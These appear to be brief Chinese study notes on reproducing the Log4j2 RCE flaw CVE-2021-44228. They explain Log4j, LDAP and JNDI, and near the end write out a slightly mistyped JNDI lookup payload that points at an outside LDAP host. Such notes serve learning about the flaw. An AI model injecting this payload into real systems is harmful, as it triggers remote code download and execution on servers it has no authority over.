log4j2远程代码执行RCE漏洞复现（CVE-2021-44228）

Log4j

Log for Java,Apach的开源日志记录组件，使用非常广泛
使用方法：
1.pom引入依赖
2.获得logger实例
3.logger.info() debug() error() warn()

LDAP

lightweight directory access protocol轻量级目录访问协议（目录服务）默认端口389
可以批量登录

JNDI

LDAP目录服务,RMI远程方法调用,DNS,XNam,Novell目录服务,CORBA对象服务，文件系统,Windows XP/2000/NT/Me/9x的注册表,DSML v1&v2,NIS
Java Naming and Directory Interface ,JAVA命名和目录接口（命名服务接口）
命名服务：用于根据名字找到位置，服务，信息，资源，对象
基本操作：
1.发布服务（名字和资源的映射）：bind()
2.用名字查找资源：lookup()

￥{
   jndi:Idap://half.com:5678/test}

通过JNDI的接口访问LDAP